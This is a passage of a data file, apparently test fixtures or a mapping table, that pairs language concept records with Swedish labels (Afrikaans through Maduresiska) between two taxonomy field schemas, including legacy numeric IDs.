'language', {'legacy_ams_taxonomy_id': '240', 'type': 'language', 'label': 'Afrikaans', 'concept_id': 'vitY_dty_VbD', 'legacy_ams_taxonomy_num_id': 240}),
( {'type': 'language', 'id': '7xZB_9BJ_eLa', 'preferred_label': 'Akan', 'deprecated_legacy_id': '242'},
'language', {'legacy_ams_taxonomy_id': '242', 'type': 'language', 'label': 'Akan', 'concept_id': '7xZB_9BJ_eLa', 'legacy_ams_taxonomy_num_id': 242}),
( {'type': 'language', 'id': 'rod1_aPk_8V5', 'preferred_label': 'Albanska', 'deprecated_legacy_id': '243'},
'language', {'legacy_ams_taxonomy_id': '243', 'type': 'language', 'label': 'Albanska', 'concept_id': 'rod1_aPk_8V5', 'legacy_ams_taxonomy_num_id': 243}),
( {'type': 'language', 'id': 'EMhG_wnR_hYP', 'preferred_label': 'Amhariska', 'deprecated_legacy_id': '245'},
'language', {'legacy_ams_taxonomy_id': '245', 'type': 'language', 'label': 'Amhariska', 'concept_id': 'EMhG_wnR_hYP', 'legacy_ams_taxonomy_num_id': 245}),
( {'type': 'language', 'id': '3iEY_RGP_qXq', 'preferred_label': 'Arabiska', 'deprecated_legacy_id': '247'},
'language', {'legacy_ams_taxonomy_id': '247', 'type': 'language', 'label': 'Arabiska', 'concept_id': '3iEY_RGP_qXq', 'legacy_ams_taxonomy_num_id': 247}),
( {'type': 'language', 'id': 'Hk93_QrC_QXX', 'preferred_label': 'Arameiska', 'deprecated_legacy_id': '248'},
'language', {'legacy_ams_taxonomy_id': '248', 'type': 'language', 'label': 'Arameiska', 'concept_id': 'Hk93_QrC_QXX', 'legacy_ams_taxonomy_num_id': 248}),
( {'type': 'language', 'id': 'jsQe_Bra_Ety', 'preferred_label': 'Armeniska', 'deprecated_legacy_id': '249'},
'language', {'legacy_ams_taxonomy_id': '249', 'type': 'language', 'label': 'Armeniska', 'concept_id': 'jsQe_Bra_Ety', 'legacy_ams_taxonomy_num_id': 249}),
( {'type': 'language', 'id': 'zYgB_czd_R1x', 'preferred_label': 'Assamesiska', 'deprecated_legacy_id': '250'},
'language', {'legacy_ams_taxonomy_id': '250', 'type': 'language', 'label': 'Assamesiska', 'concept_id': 'zYgB_czd_R1x', 'legacy_ams_taxonomy_num_id': 250}),
( {'type': 'language', 'id': 'Lg2z_RbL_A8S', 'preferred_label': 'Aymara', 'deprecated_legacy_id': '251'},
'language', {'legacy_ams_taxonomy_id': '251', 'type': 'language', 'label': 'Aymara', 'concept_id': 'Lg2z_RbL_A8S', 'legacy_ams_taxonomy_num_id': 251}),
( {'type': 'language', 'id': 'J16c_pLE_QY4', 'preferred_label': 'Azerbajdzjanska', 'deprecated_legacy_id': '252'},
'language', {'legacy_ams_taxonomy_id': '252', 'type': 'language', 'label': 'Azerbajdzjanska', 'concept_id': 'J16c_pLE_QY4', 'legacy_ams_taxonomy_num_id': 252}),
( {'type': 'language', 'id': 'TJsR_11M_d72', 'preferred_label': 'Baluchiska', 'deprecated_legacy_id': '253'},
'language', {'legacy_ams_taxonomy_id': '253', 'type': 'language', 'label': 'Baluchiska', 'concept_id': 'TJsR_11M_d72', 'legacy_ams_taxonomy_num_id': 253}),
( {'type': 'language', 'id': 'T3Yk_ZEt_kLQ', 'preferred_label': 'Bambara', 'deprecated_legacy_id': '254'},
'language', {'legacy_ams_taxonomy_id': '254', 'type': 'language', 'label': 'Bambara', 'concept_id': 'T3Yk_ZEt_kLQ', 'legacy_ams_taxonomy_num_id': 254}),
( {'type': 'language', 'id': 'X5sT_hmN_m2S', 'preferred_label': 'Banda', 'deprecated_legacy_id': '255'},
'language', {'legacy_ams_taxonomy_id': '255', 'type': 'language', 'label': 'Banda', 'concept_id': 'X5sT_hmN_m2S', 'legacy_ams_taxonomy_num_id': 255}),
( {'type': 'language', 'id': 'udrA_ZMS_epP', 'preferred_label': 'Bantuspråk, andra', 'deprecated_legacy_id': '256'},
'language', {'legacy_ams_taxonomy_id': '256', 'type': 'language', 'label': 'Bantuspråk, andra', 'concept_id': 'udrA_ZMS_epP', 'legacy_ams_taxonomy_num_id': 256}),
( {'type': 'language', 'id': 'yPxq_rk8_QqY', 'preferred_label': 'Basjkiriska', 'deprecated_legacy_id': '257'},
'language', {'legacy_ams_taxonomy_id': '257', 'type': 'language', 'label': 'Basjkiriska', 'concept_id': 'yPxq_rk8_QqY', 'legacy_ams_taxonomy_num_id': 257}),
( {'type': 'language', 'id': 'rucj_CJq_mV8', 'preferred_label': 'Baskiska', 'deprecated_legacy_id': '258'},
'language', {'legacy_ams_taxonomy_id': '258', 'type': 'language', 'label': 'Baskiska', 'concept_id': 'rucj_CJq_mV8', 'legacy_ams_taxonomy_num_id': 258}),
( {'type': 'language', 'id': 'nc4p_BwA_2HH', 'preferred_label': 'Bemba', 'deprecated_legacy_id': '259'},
'language', {'legacy_ams_taxonomy_id': '259', 'type': 'language', 'label': 'Bemba', 'concept_id': 'nc4p_BwA_2HH', 'legacy_ams_taxonomy_num_id': 259}),
( {'type': 'language', 'id': 'GBG3_87R_ux1', 'preferred_label': 'Bengaliska', 'deprecated_legacy_id': '260'},
'language', {'legacy_ams_taxonomy_id': '260', 'type': 'language', 'label': 'Bengaliska', 'concept_id': 'GBG3_87R_ux1', 'legacy_ams_taxonomy_num_id': 260}),
( {'type': 'language', 'id': 'QTC1_ADL_T85', 'preferred_label': 'Berberspråk, andra', 'deprecated_legacy_id': '261'},
'language', {'legacy_ams_taxonomy_id': '261', 'type': 'language', 'label': 'Berberspråk, andra', 'concept_id': 'QTC1_ADL_T85', 'legacy_ams_taxonomy_num_id': 261}),
( {'type': 'language', 'id': 'Ur91_w7s_dP1', 'preferred_label': 'Bislama', 'deprecated_legacy_id': '262'},
'language', {'legacy_ams_taxonomy_id': '262', 'type': 'language', 'label': 'Bislama', 'concept_id': 'Ur91_w7s_dP1', 'legacy_ams_taxonomy_num_id': 262}),
( {'type': 'language', 'id': '9TLR_Ri9_34C', 'preferred_label': 'Bihariska', 'deprecated_legacy_id': '263'},
'language', {'legacy_ams_taxonomy_id': '263', 'type': 'language', 'label': 'Bihariska', 'concept_id': '9TLR_Ri9_34C', 'legacy_ams_taxonomy_num_id': 263}),
( {'type': 'language', 'id': 'AGKq_3n1_4sm', 'preferred_label': 'Bosniska', 'deprecated_legacy_id': '265'},
'language', {'legacy_ams_taxonomy_id': '265', 'type': 'language', 'label': 'Bosniska', 'concept_id': 'AGKq_3n1_4sm', 'legacy_ams_taxonomy_num_id': 265}),
( {'type': 'language', 'id': 'pW4U_gcW_VGv', 'preferred_label': 'Bulgariska', 'deprecated_legacy_id': '266'},
'language', {'legacy_ams_taxonomy_id': '266', 'type': 'language', 'label': 'Bulgariska', 'concept_id': 'pW4U_gcW_VGv', 'legacy_ams_taxonomy_num_id': 266}),
( {'type': 'language', 'id': 'yHFe_Te6_E6F', 'preferred_label': 'Burmesiska', 'deprecated_legacy_id': '267'},
'language', {'legacy_ams_taxonomy_id': '267', 'type': 'language', 'label': 'Burmesiska', 'concept_id': 'yHFe_Te6_E6F', 'legacy_ams_taxonomy_num_id': 267}),
( {'type': 'language', 'id': 'y89C_Uia_Y5j', 'preferred_label': 'Cebuano', 'deprecated_legacy_id': '269'},
'language', {'legacy_ams_taxonomy_id': '269', 'type': 'language', 'label': 'Cebuano', 'concept_id': 'y89C_Uia_Y5j', 'legacy_ams_taxonomy_num_id': 269}),
( {'type': 'language', 'id': 'yGZ2_39H_oPN', 'preferred_label': 'Danska', 'deprecated_legacy_id': '274'},
'language', {'legacy_ams_taxonomy_id': '274', 'type': 'language', 'label': 'Danska', 'concept_id': 'yGZ2_39H_oPN', 'legacy_ams_taxonomy_num_id': 274}),
( {'type': 'language', 'id': 'ov2k_GtY_wDw', 'preferred_label': 'Dinka', 'deprecated_legacy_id': '277'},
'language', {'legacy_ams_taxonomy_id': '277', 'type': 'language', 'label': 'Dinka', 'concept_id': 'ov2k_GtY_wDw', 'legacy_ams_taxonomy_num_id': 277}),
( {'type': 'language', 'id': 'XFGV_NHd_eaf', 'preferred_label': 'Divehi', 'deprecated_legacy_id': '278'},
'language', {'legacy_ams_taxonomy_id': '278', 'type': 'language', 'label': 'Divehi', 'concept_id': 'XFGV_NHd_eaf', 'legacy_ams_taxonomy_num_id': 278}),
( {'type': 'language', 'id': '1bwY_BGf_CH7', 'preferred_label': 'Dyula', 'deprecated_legacy_id': '280'},
'language', {'legacy_ams_taxonomy_id': '280', 'type': 'language', 'label': 'Dyula', 'concept_id': '1bwY_BGf_CH7', 'legacy_ams_taxonomy_num_id': 280}),
( {'type': 'language', 'id': '8RMF_7gP_NaH', 'preferred_label': 'Bhutanesiska', 'deprecated_legacy_id': '281'},
'language', {'legacy_ams_taxonomy_id': '281', 'type': 'language', 'label': 'Bhutanesiska', 'concept_id': '8RMF_7gP_NaH', 'legacy_ams_taxonomy_num_id': 281}),
( {'type': 'language', 'id': 'Vfz9_yba_MkG', 'preferred_label': 'Efik', 'deprecated_legacy_id': '282'},
'language', {'legacy_ams_taxonomy_id': '282', 'type': 'language', 'label': 'Efik', 'concept_id': 'Vfz9_yba_MkG', 'legacy_ams_taxonomy_num_id': 282}),
( {'type': 'language', 'id': 'NVxJ_hLg_TYS', 'preferred_label': 'Engelska', 'deprecated_legacy_id': '283'},
'language', {'legacy_ams_taxonomy_id': '283', 'type': 'language', 'label': 'Engelska', 'concept_id': 'NVxJ_hLg_TYS', 'legacy_ams_taxonomy_num_id': 283}),
( {'type': 'language', 'id': 'zg1P_hzq_eMR', 'preferred_label': 'Estniska', 'deprecated_legacy_id': '285'},
'language', {'legacy_ams_taxonomy_id': '285', 'type': 'language', 'label': 'Estniska', 'concept_id': 'zg1P_hzq_eMR', 'legacy_ams_taxonomy_num_id': 285}),
( {'type': 'language', 'id': '5FUu_wLF_tTf', 'preferred_label': 'Ewe', 'deprecated_legacy_id': '286'},
'language', {'legacy_ams_taxonomy_id': '286', 'type': 'language', 'label': 'Ewe', 'concept_id': '5FUu_wLF_tTf', 'legacy_ams_taxonomy_num_id': 286}),
( {'type': 'language', 'id': 'L4AS_T9o_VwB', 'preferred_label': 'Fang', 'deprecated_legacy_id': '287'},
'language', {'legacy_ams_taxonomy_id': '287', 'type': 'language', 'label': 'Fang', 'concept_id': 'L4AS_T9o_VwB', 'legacy_ams_taxonomy_num_id': 287}),
( {'type': 'language', 'id': 'WTZi_v28_Unh', 'preferred_label': 'Fanti', 'deprecated_legacy_id': '288'},
'language', {'legacy_ams_taxonomy_id': '288', 'type': 'language', 'label': 'Fanti', 'concept_id': 'WTZi_v28_Unh', 'legacy_ams_taxonomy_num_id': 288}),
( {'type': 'language', 'id': 'j4rH_cw8_s7g', 'preferred_label': 'Färöiska', 'deprecated_legacy_id': '289'},
'language', {'legacy_ams_taxonomy_id': '289', 'type': 'language', 'label': 'Färöiska', 'concept_id': 'j4rH_cw8_s7g', 'legacy_ams_taxonomy_num_id': 289}),
( {'type': 'language', 'id': 'ZMHx_hup_v34', 'preferred_label': 'Fidjianska', 'deprecated_legacy_id': '291'},
'language', {'legacy_ams_taxonomy_id': '291', 'type': 'language', 'label': 'Fidjianska', 'concept_id': 'ZMHx_hup_v34', 'legacy_ams_taxonomy_num_id': 291}),
( {'type': 'language', 'id': 'Swhq_4Fg_qfm', 'preferred_label': 'Finska', 'deprecated_legacy_id': '292'},
'language', {'legacy_ams_taxonomy_id': '292', 'type': 'language', 'label': 'Finska', 'concept_id': 'Swhq_4Fg_qfm', 'legacy_ams_taxonomy_num_id': 292}),
( {'type': 'language', 'id': 'KPgw_t5P_759', 'preferred_label': 'Fon', 'deprecated_legacy_id': '293'},
'language', {'legacy_ams_taxonomy_id': '293', 'type': 'language', 'label': 'Fon', 'concept_id': 'KPgw_t5P_759', 'legacy_ams_taxonomy_num_id': 293}),
( {'type': 'language', 'id': 'AJf5_p3a_b64', 'preferred_label': 'Franska', 'deprecated_legacy_id': '295'},
'language', {'legacy_ams_taxonomy_id': '295', 'type': 'language', 'label': 'Franska', 'concept_id': 'AJf5_p3a_b64', 'legacy_ams_taxonomy_num_id': 295}),
( {'type': 'language', 'id': 'XXq9_Nq8_55j', 'preferred_label': 'Frisiska', 'deprecated_legacy_id': '296'},
'language', {'legacy_ams_taxonomy_id': '296', 'type': 'language', 'label': 'Frisiska', 'concept_id': 'XXq9_Nq8_55j', 'legacy_ams_taxonomy_num_id': 296}),
( {'type': 'language', 'id': 'nUfQ_bem_j5n', 'preferred_label': 'Fulfulde', 'deprecated_legacy_id': '298'},
'language', {'legacy_ams_taxonomy_id': '298', 'type': 'language', 'label': 'Fulfulde', 'concept_id': 'nUfQ_bem_j5n', 'legacy_ams_taxonomy_num_id': 298}),
( {'type': 'language', 'id': '6vC5_KFf_rKT', 'preferred_label': 'Ga', 'deprecated_legacy_id': '300'},
'language', {'legacy_ams_taxonomy_id': '300', 'type': 'language', 'label': 'Ga', 'concept_id': '6vC5_KFf_rKT', 'legacy_ams_taxonomy_num_id': 300}),
( {'type': 'language', 'id': 'ySYP_i3K_WZ2', 'preferred_label': 'Galiciska', 'deprecated_legacy_id': '301'},
'language', {'legacy_ams_taxonomy_id': '301', 'type': 'language', 'label': 'Galiciska', 'concept_id': 'ySYP_i3K_WZ2', 'legacy_ams_taxonomy_num_id': 301}),
( {'type': 'language', 'id': '69WT_Knh_hLs', 'preferred_label': 'Gaeliska (Skotsk)', 'deprecated_legacy_id': '304'},
'language', {'legacy_ams_taxonomy_id': '304', 'type': 'language', 'label': 'Gaeliska (Skotsk)', 'concept_id': '69WT_Knh_hLs', 'legacy_ams_taxonomy_num_id': 304}),
( {'type': 'language', 'id': 'jALF_55z_yDE', 'preferred_label': 'Georgiska', 'deprecated_legacy_id': '305'},
'language', {'legacy_ams_taxonomy_id': '305', 'type': 'language', 'label': 'Georgiska', 'concept_id': 'jALF_55z_yDE', 'legacy_ams_taxonomy_num_id': 305}),
( {'type': 'language', 'id': 'RKH6_hwa_6nk', 'preferred_label': 'Grekiska', 'deprecated_legacy_id': '306'},
'language', {'legacy_ams_taxonomy_id': '306', 'type': 'language', 'label': 'Grekiska', 'concept_id': 'RKH6_hwa_6nk', 'legacy_ams_taxonomy_num_id': 306}),
( {'type': 'language', 'id': 'a1wy_pzH_aQv', 'preferred_label': 'Grönländska', 'deprecated_legacy_id': '307'},
'language', {'legacy_ams_taxonomy_id': '307', 'type': 'language', 'label': 'Grönländska', 'concept_id': 'a1wy_pzH_aQv', 'legacy_ams_taxonomy_num_id': 307}),
( {'type': 'language', 'id': 'dWqu_Ldo_jcD', 'preferred_label': 'Guarani', 'deprecated_legacy_id': '308'},
'language', {'legacy_ams_taxonomy_id': '308', 'type': 'language', 'label': 'Guarani', 'concept_id': 'dWqu_Ldo_jcD', 'legacy_ams_taxonomy_num_id': 308}),
( {'type': 'language', 'id': 'D91H_7iz_Qbn', 'preferred_label': 'Gujarati', 'deprecated_legacy_id': '309'},
'language', {'legacy_ams_taxonomy_id': '309', 'type': 'language', 'label': 'Gujarati', 'concept_id': 'D91H_7iz_Qbn', 'legacy_ams_taxonomy_num_id': 309}),
( {'type': 'language', 'id': 'LaYc_2hR_4i1', 'preferred_label': 'Zenaga', 'deprecated_legacy_id': '312'},
'language', {'legacy_ams_taxonomy_id': '312', 'type': 'language', 'label': 'Zenaga', 'concept_id': 'LaYc_2hR_4i1', 'legacy_ams_taxonomy_num_id': 312}),
( {'type': 'language', 'id': 'ViTs_TnK_DzW', 'preferred_label': 'Hausa', 'deprecated_legacy_id': '313'},
'language', {'legacy_ams_taxonomy_id': '313', 'type': 'language', 'label': 'Hausa', 'concept_id': 'ViTs_TnK_DzW', 'legacy_ams_taxonomy_num_id': 313}),
( {'type': 'language', 'id': 'uWA3_QLq_nu3', 'preferred_label': 'Hebreiska', 'deprecated_legacy_id': '314'},
'language', {'legacy_ams_taxonomy_id': '314', 'type': 'language', 'label': 'Hebreiska', 'concept_id': 'uWA3_QLq_nu3', 'legacy_ams_taxonomy_num_id': 314}),
( {'type': 'language', 'id': 'DFr5_o1T_Bop', 'preferred_label': 'Herero', 'deprecated_legacy_id': '315'},
'language', {'legacy_ams_taxonomy_id': '315', 'type': 'language', 'label': 'Herero', 'concept_id': 'DFr5_o1T_Bop', 'legacy_ams_taxonomy_num_id': 315}),
( {'type': 'language', 'id': 'PwxQ_XQT_MnB', 'preferred_label': 'Hindi', 'deprecated_legacy_id': '316'},
'language', {'legacy_ams_taxonomy_id': '316', 'type': 'language', 'label': 'Hindi', 'concept_id': 'PwxQ_XQT_MnB', 'legacy_ams_taxonomy_num_id': 316}),
( {'type': 'language', 'id': 'kNtt_ZNR_N23', 'preferred_label': 'Igbo', 'deprecated_legacy_id': '317'},
'language', {'legacy_ams_taxonomy_id': '317', 'type': 'language', 'label': 'Igbo', 'concept_id': 'kNtt_ZNR_N23', 'legacy_ams_taxonomy_num_id': 317}),
( {'type': 'language', 'id': 'br9N_CBK_BCz', 'preferred_label': 'Gilbertesiska', 'deprecated_legacy_id': '318'},
'language', {'legacy_ams_taxonomy_id': '318', 'type': 'language', 'label': 'Gilbertesiska', 'concept_id': 'br9N_CBK_BCz', 'legacy_ams_taxonomy_num_id': 318}),
( {'type': 'language', 'id': 'Nojx_VyS_nLf', 'preferred_label': 'Indonesiska', 'deprecated_legacy_id': '319'},
'language', {'legacy_ams_taxonomy_id': '319', 'type': 'language', 'label': 'Indonesiska', 'concept_id': 'Nojx_VyS_nLf', 'legacy_ams_taxonomy_num_id': 319}),
( {'type': 'language', 'id': 'yXoA_zAJ_RoN', 'preferred_label': 'Iriska', 'deprecated_legacy_id': '320'},
'language', {'legacy_ams_taxonomy_id': '320', 'type': 'language', 'label': 'Iriska', 'concept_id': 'yXoA_zAJ_RoN', 'legacy_ams_taxonomy_num_id': 320}),
( {'type': 'language', 'id': 'bvPv_3kf_EQK', 'preferred_label': 'Isländska', 'deprecated_legacy_id': '321'},
'language', {'legacy_ams_taxonomy_id': '321', 'type': 'language', 'label': 'Isländska', 'concept_id': 'bvPv_3kf_EQK', 'legacy_ams_taxonomy_num_id': 321}),
( {'type': 'language', 'id': 'b9cE_KXy_Yxv', 'preferred_label': 'Italienska', 'deprecated_legacy_id': '322'},
'language', {'legacy_ams_taxonomy_id': '322', 'type': 'language', 'label': 'Italienska', 'concept_id': 'b9cE_KXy_Yxv', 'legacy_ams_taxonomy_num_id': 322}),
( {'type': 'language', 'id': 'qmex_uW7_kJw', 'preferred_label': 'Japanska', 'deprecated_legacy_id': '323'},
'language', {'legacy_ams_taxonomy_id': '323', 'type': 'language', 'label': 'Japanska', 'concept_id': 'qmex_uW7_kJw', 'legacy_ams_taxonomy_num_id': 323}),
( {'type': 'language', 'id': 'NNHs_R1H_ESq', 'preferred_label': 'Javanesiska', 'deprecated_legacy_id': '324'},
'language', {'legacy_ams_taxonomy_id': '324', 'type': 'language', 'label': 'Javanesiska', 'concept_id': 'NNHs_R1H_ESq', 'legacy_ams_taxonomy_num_id': 324}),
( {'type': 'language', 'id': 'obg3_pig_x58', 'preferred_label': 'Jiddisch', 'deprecated_legacy_id': '325'},
'language', {'legacy_ams_taxonomy_id': '325', 'type': 'language', 'label': 'Jiddisch', 'concept_id': 'obg3_pig_x58', 'legacy_ams_taxonomy_num_id': 325}),
( {'type': 'language', 'id': 'j4JW_5P4_BGA', 'preferred_label': 'Kabyliska', 'deprecated_legacy_id': '327'},
'language', {'legacy_ams_taxonomy_id': '327', 'type': 'language', 'label': 'Kabyliska', 'concept_id': 'j4JW_5P4_BGA', 'legacy_ams_taxonomy_num_id': 327}),
( {'type': 'language', 'id': '8DQh_CaG_Jsk', 'preferred_label': 'Kamba', 'deprecated_legacy_id': '329'},
'language', {'legacy_ams_taxonomy_id': '329', 'type': 'language', 'label': 'Kamba', 'concept_id': '8DQh_CaG_Jsk', 'legacy_ams_taxonomy_num_id': 329}),
( {'type': 'language', 'id': 'T5kG_Krh_ZBZ', 'preferred_label': 'Kanaresiska', 'deprecated_legacy_id': '330'},
'language', {'legacy_ams_taxonomy_id': '330', 'type': 'language', 'label': 'Kanaresiska', 'concept_id': 'T5kG_Krh_ZBZ', 'legacy_ams_taxonomy_num_id': 330}),
( {'type': 'language', 'id': 'uC3q_W2M_BzA', 'preferred_label': 'Kanuri', 'deprecated_legacy_id': '332'},
'language', {'legacy_ams_taxonomy_id': '332', 'type': 'language', 'label': 'Kanuri', 'concept_id': 'uC3q_W2M_BzA', 'legacy_ams_taxonomy_num_id': 332}),
( {'type': 'language', 'id': 'hq1g_5Md_6PZ', 'preferred_label': 'Karen', 'deprecated_legacy_id': '333'},
'language', {'legacy_ams_taxonomy_id': '333', 'type': 'language', 'label': 'Karen', 'concept_id': 'hq1g_5Md_6PZ', 'legacy_ams_taxonomy_num_id': 333}),
( {'type': 'language', 'id': 'kpf7_mGV_EWk', 'preferred_label': 'Kasmiriska', 'deprecated_legacy_id': '334'},
'language', {'legacy_ams_taxonomy_id': '334', 'type': 'language', 'label': 'Kasmiriska', 'concept_id': 'kpf7_mGV_EWk', 'legacy_ams_taxonomy_num_id': 334}),
( {'type': 'language', 'id': 'YPKq_LRQ_CHT', 'preferred_label': 'Katalanska', 'deprecated_legacy_id': '335'},
'language', {'legacy_ams_taxonomy_id': '335', 'type': 'language', 'label': 'Katalanska', 'concept_id': 'YPKq_LRQ_CHT', 'legacy_ams_taxonomy_num_id': 335}),
( {'type': 'language', 'id': 'mdWX_4PC_wY7', 'preferred_label': 'Kazakiska', 'deprecated_legacy_id': '337'},
'language', {'legacy_ams_taxonomy_id': '337', 'type': 'language', 'label': 'Kazakiska', 'concept_id': 'mdWX_4PC_wY7', 'legacy_ams_taxonomy_num_id': 337}),
( {'type': 'language', 'id': 'LrSS_yQQ_w6c', 'preferred_label': 'Khmer', 'deprecated_legacy_id': '338'},
'language', {'legacy_ams_taxonomy_id': '338', 'type': 'language', 'label': 'Khmer', 'concept_id': 'LrSS_yQQ_w6c', 'legacy_ams_taxonomy_num_id': 338}),
( {'type': 'language', 'id': 'pgjM_8KQ_RZT', 'preferred_label': 'Kinesiska', 'deprecated_legacy_id': '339'},
'language', {'legacy_ams_taxonomy_id': '339', 'type': 'language', 'label': 'Kinesiska', 'concept_id': 'pgjM_8KQ_RZT', 'legacy_ams_taxonomy_num_id': 339}),
( {'type': 'language', 'id': 'TKMX_Mgp_roJ', 'preferred_label': 'Kinyarwanda', 'deprecated_legacy_id': '340'},
'language', {'legacy_ams_taxonomy_id': '340', 'type': 'language', 'label': 'Kinyarwanda', 'concept_id': 'TKMX_Mgp_roJ', 'legacy_ams_taxonomy_num_id': 340}),
( {'type': 'language', 'id': 'H3Mn_eaX_XbQ', 'preferred_label': 'Kirgisiska', 'deprecated_legacy_id': '341'},
'language', {'legacy_ams_taxonomy_id': '341', 'type': 'language', 'label': 'Kirgisiska', 'concept_id': 'H3Mn_eaX_XbQ', 'legacy_ams_taxonomy_num_id': 341}),
( {'type': 'language', 'id': 'i2A1_KpM_osQ', 'preferred_label': 'Kirundi', 'deprecated_legacy_id': '342'},
'language', {'legacy_ams_taxonomy_id': '342', 'type': 'language', 'label': 'Kirundi', 'concept_id': 'i2A1_KpM_osQ', 'legacy_ams_taxonomy_num_id': 342}),
( {'type': 'language', 'id': 'rZYz_myk_W5T', 'preferred_label': 'Kongo', 'deprecated_legacy_id': '343'},
'language', {'legacy_ams_taxonomy_id': '343', 'type': 'language', 'label': 'Kongo', 'concept_id': 'rZYz_myk_W5T', 'legacy_ams_taxonomy_num_id': 343}),
( {'type': 'language', 'id': 'xwTw_Ykx_oMZ', 'preferred_label': 'Konkani', 'deprecated_legacy_id': '344'},
'language', {'legacy_ams_taxonomy_id': '344', 'type': 'language', 'label': 'Konkani', 'concept_id': 'xwTw_Ykx_oMZ', 'legacy_ams_taxonomy_num_id': 344}),
( {'type': 'language', 'id': 'Wj1F_2BF_vtm', 'preferred_label': 'Koreanska', 'deprecated_legacy_id': '345'},
'language', {'legacy_ams_taxonomy_id': '345', 'type': 'language', 'label': 'Koreanska', 'concept_id': 'Wj1F_2BF_vtm', 'legacy_ams_taxonomy_num_id': 345}),
( {'type': 'language', 'id': 'wREW_gh2_Bxu', 'preferred_label': 'Korsikanska', 'deprecated_legacy_id': '346'},
'language', {'legacy_ams_taxonomy_id': '346', 'type': 'language', 'label': 'Korsikanska', 'concept_id': 'wREW_gh2_Bxu', 'legacy_ams_taxonomy_num_id': 346}),
( {'type': 'language', 'id': 'JFiv_95F_eNB', 'preferred_label': 'Kreolska o pidginspråk, portugisisk-baserade,andra', 'deprecated_legacy_id': '348'},
'language', {'legacy_ams_taxonomy_id': '348', 'type': 'language', 'label': 'Kreolska o pidginspråk, portugisisk-baserade,andra', 'concept_id': 'JFiv_95F_eNB', 'legacy_ams_taxonomy_num_id': 348}),
( {'type': 'language', 'id': 'ZUf8_t85_NC6', 'preferred_label': 'Kroatiska', 'deprecated_legacy_id': '350'},
'language', {'legacy_ams_taxonomy_id': '350', 'type': 'language', 'label': 'Kroatiska', 'concept_id': 'ZUf8_t85_NC6', 'legacy_ams_taxonomy_num_id': 350}),
( {'type': 'language', 'id': 'Sgvv_5Vd_xro', 'preferred_label': 'Kru', 'deprecated_legacy_id': '351'},
'language', {'legacy_ams_taxonomy_id': '351', 'type': 'language', 'label': 'Kru', 'concept_id': 'Sgvv_5Vd_xro', 'legacy_ams_taxonomy_num_id': 351}),
( {'type': 'language', 'id': 'JxfJ_kyR_CQZ', 'preferred_label': 'Kurdiska', 'deprecated_legacy_id': '352'},
'language', {'legacy_ams_taxonomy_id': '352', 'type': 'language', 'label': 'Kurdiska', 'concept_id': 'JxfJ_kyR_CQZ', 'legacy_ams_taxonomy_num_id': 352}),
( {'type': 'language', 'id': '95r9_3rM_KWz', 'preferred_label': 'Kikuyu', 'deprecated_legacy_id': '353'},
'language', {'legacy_ams_taxonomy_id': '353', 'type': 'language', 'label': 'Kikuyu', 'concept_id': '95r9_3rM_KWz', 'legacy_ams_taxonomy_num_id': 353}),
( {'type': 'language', 'id': 'FNQx_3PN_eiT', 'preferred_label': 'Lao', 'deprecated_legacy_id': '355'},
'language', {'legacy_ams_taxonomy_id': '355', 'type': 'language', 'label': 'Lao', 'concept_id': 'FNQx_3PN_eiT', 'legacy_ams_taxonomy_num_id': 355}),
( {'type': 'language', 'id': 'YiQE_ERm_7kh', 'preferred_label': 'Lettiska', 'deprecated_legacy_id': '356'},
'language', {'legacy_ams_taxonomy_id': '356', 'type': 'language', 'label': 'Lettiska', 'concept_id': 'YiQE_ERm_7kh', 'legacy_ams_taxonomy_num_id': 356}),
( {'type': 'language', 'id': 'w7am_ASn_5uK', 'preferred_label': 'Lamba', 'deprecated_legacy_id': '357'},
'language', {'legacy_ams_taxonomy_id': '357', 'type': 'language', 'label': 'Lamba', 'concept_id': 'w7am_ASn_5uK', 'legacy_ams_taxonomy_num_id': 357}),
( {'type': 'language', 'id': 'NBKm_cvX_fGo', 'preferred_label': 'Lingala', 'deprecated_legacy_id': '358'},
'language', {'legacy_ams_taxonomy_id': '358', 'type': 'language', 'label': 'Lingala', 'concept_id': 'NBKm_cvX_fGo', 'legacy_ams_taxonomy_num_id': 358}),
( {'type': 'language', 'id': '14pF_wSZ_fnK', 'preferred_label': 'Litauiska', 'deprecated_legacy_id': '359'},
'language', {'legacy_ams_taxonomy_id': '359', 'type': 'language', 'label': 'Litauiska', 'concept_id': '14pF_wSZ_fnK', 'legacy_ams_taxonomy_num_id': 359}),
( {'type': 'language', 'id': 'eW8E_sSU_sbS', 'preferred_label': 'Lozi', 'deprecated_legacy_id': '360'},
'language', {'legacy_ams_taxonomy_id': '360', 'type': 'language', 'label': 'Lozi', 'concept_id': 'eW8E_sSU_sbS', 'legacy_ams_taxonomy_num_id': 360}),
( {'type': 'language', 'id': 'QhX2_SiT_PYf', 'preferred_label': 'Luba-Katanga', 'deprecated_legacy_id': '361'},
'language', {'legacy_ams_taxonomy_id': '361', 'type': 'language', 'label': 'Luba-Katanga', 'concept_id': 'QhX2_SiT_PYf', 'legacy_ams_taxonomy_num_id': 361}),
( {'type': 'language', 'id': 'f3zb_p1z_JDE', 'preferred_label': 'Ganda', 'deprecated_legacy_id': '362'},
'language', {'legacy_ams_taxonomy_id': '362', 'type': 'language', 'label': 'Ganda', 'concept_id': 'f3zb_p1z_JDE', 'legacy_ams_taxonomy_num_id': 362}),
( {'type': 'language', 'id': 'cMMJ_usJ_o6P', 'preferred_label': 'Lunda', 'deprecated_legacy_id': '364'},
'language', {'legacy_ams_taxonomy_id': '364', 'type': 'language', 'label': 'Lunda', 'concept_id': 'cMMJ_usJ_o6P', 'legacy_ams_taxonomy_num_id': 364}),
( {'type': 'language', 'id': '4Vfp_k1i_j59', 'preferred_label': 'Luo (Kenya och Tanzania)', 'deprecated_legacy_id': '365'},
'language', {'legacy_ams_taxonomy_id': '365', 'type': 'language', 'label': 'Luo (Kenya och Tanzania)', 'concept_id': '4Vfp_k1i_j59', 'legacy_ams_taxonomy_num_id': 365}),
( {'type': 'language', 'id': 'PZa9_wAR_1BZ', 'preferred_label': 'Luxemburgiska', 'deprecated_legacy_id': '368'},
'language', {'legacy_ams_taxonomy_id': '368', 'type': 'language', 'label': 'Luxemburgiska', 'concept_id': 'PZa9_wAR_1BZ', 'legacy_ams_taxonomy_num_id': 368}),
( {'type': 'language', 'id': '518r_2Eg_WKo', 'preferred_label': 'Maduresiska', 'deprecated_legacy_id': '369'},
'language', {'legacy_ams_taxonomy_id': '369', 'type': 'language', 'label': 'Maduresiska', 'concept_id': '518r_2Eg_WKo', 'legacy_ams_taxonomy_num_id': 369}),
